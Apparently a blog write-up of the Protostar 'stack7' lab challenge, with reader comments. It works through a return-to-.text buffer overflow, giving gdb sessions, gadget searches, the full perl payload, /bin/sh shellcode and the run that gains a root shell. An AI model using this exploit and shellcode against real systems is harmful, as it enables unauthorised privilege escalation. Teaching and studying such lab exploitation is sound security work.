This challenge was very interesting to me. I figured it would build off of the previous one. However, it was its own standalone challenge.
We are given the following code to the stack7 executable:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); }From tinkering with the stack7 executable, I knew I was going to do a stack overflow, and somehow needed to execute code from the stack. However, similar to the previous challenge, there was a filter on my return address, making it so I couldn't just jump to an address in the stack. This meant figuring out a way around it.
Using the note about this being a "return to .text" exploit, I started reading up. This is a type of exploit that uses part of the executable, albeit even a string to execute as code, because the same characters are also x86 assembler instructions. So I went about trying to find some code that would let me essentially, "jmp esp", or jump to the stack pointer, where I would put my shellcode. To do this, I did the following:
mandreko@li225-134:~$ msfelfscan -j esp stack7 [stack7]This was disappointing. At first, I thought maybe I was not using msfelfscan correctly, and had to tinker a bit. But it just turns out, that there is no "jmp esp" in stack7. What a bummer. However, on a whim, I tried to see if maybe another option to msfelfscan would work:
mandreko@li225-134:~$ msfelfscan -p stack7 [stack7] 0x08048492 pop ebx; pop ebp; ret 0x080485c7 pop edi; pop ebp; ret 0x080485f7 pop ebx; pop ebp; retThis is great! Some results! Now let's just pick one, and attempt to use it as the return address in our overflow. I found that the EIP offset was 80 bytes, so I wired it up as so, and debugged it:
user@protostar:~$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "C"x100' > /home/user/file user@protostar:~$ gdb ./stack7 --quiet Reading symbols from /home/user/stack7...done. (gdb) run < file Starting program: /home/user/stack7 < file input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒AAAAAAAAAAAA▒CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? ()This is a good sign. It is overwriting the EIP now with "C" values (0x43). So now we just need to know where in the 100 "C"s the return address is going to. To do that, I did similar process to finding an EIP offset:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A user@protostar:~$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"' > /home/user/file user@protostar:~$ gdb ./stack7 --quiet Reading symbols from /home/user/stack7...done. (gdb) run < file Starting program: /home/user/stack7 < file input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒AAAAAAAAAAAA▒Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Program received signal SIGSEGV, Segmentation fault. 0x33614132 in ?? () mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x33614132 8I simply generated a unique string using pattern_create.rb to replace the 100 "C"s, and then used pattern_offset.rb to tell me the offset when gdb got a segmentation fault. So now I know that the first 8 "C"s are just junk. Just to verify this, I ran it again, a little differently:
user@protostar:~$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "C"x8 . "D"x8 . "E"x100' > file user@protostar:~$ gdb ./stack7 --quiet Reading symbols from /home/user/stack7...done. (gdb) run < file Starting program: /home/user/stack7 < file input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒AAAAAAAAAAAA▒CCCCCCCCDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE Program received signal SIGSEGV, Segmentation fault. 0x44444444 in ?? ()This shows the 4 "D"s were properly placed, which proved to me that I was indeed going to need my buffer to look like:
| 80 bytes junk | pop-pop-ret | 8 bytes junk | address to execute |Since it was actually going to execute the instructions at the last dword, I opted to put my shellcode in an environmental variable, since it was easy. I again used the same shellcode for dealing with gets() as I have in the last couple challenges:
user@protostar:/opt/protostar/bin$ export SHELLCODE=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`The next problem was to find out where the address would reside in memory. I used getenvaddr.c again to show me the address.
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment var> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* Get env var location. */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */ printf("%s will be at %p\n", argv[1], ptr); }Just to be sure, I went to the /opt/protostar/bin directory to do this, since I knew the address could change based on what folder I was in. I used this to get the address of my SHELLCODE variable by doing the following:
user@protostar:/opt/protostar/bin$ /home/user/getenvaddr SHELLCODE ./stack7 SHELLCODE will be at 0xbffff985Using this address, I exploited the stack7 executable:
user@protostar:/opt/protostar/bin$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "C"x8 . "\x85\xf9\xff\xbf"' > /home/user/file user@protostar:/opt/protostar/bin$ ./stack7 < /home/user/file input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒AAAAAAAAAAAA▒CCCCCCCC▒▒▒▒ # whoami root # id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user) #There you have it, root access, and it was fairly easy. This is the last challenge in the Protostar VM under the "Stack" category. Next post you see should be a new category.
Hi,
ReplyDeleteThank you for taking time to write these tutorials. I'm preparing for oscp also and like these challenges.
A small remark
Just a ret ((objdump -M intel -d stack7 | grep -i "ret") is sufficient, instead of "pop pop ret". Will call the address from offset 0 in the buffer (instead of offset 8 in case of pop pop ret).
Yup, that will indeed work. I just didn't know it at the time. These exercises were a huge learning tool for me. I look back and see things I thought were hard only a year ago, and now they're second nature.
DeleteGlad they were helpful for you!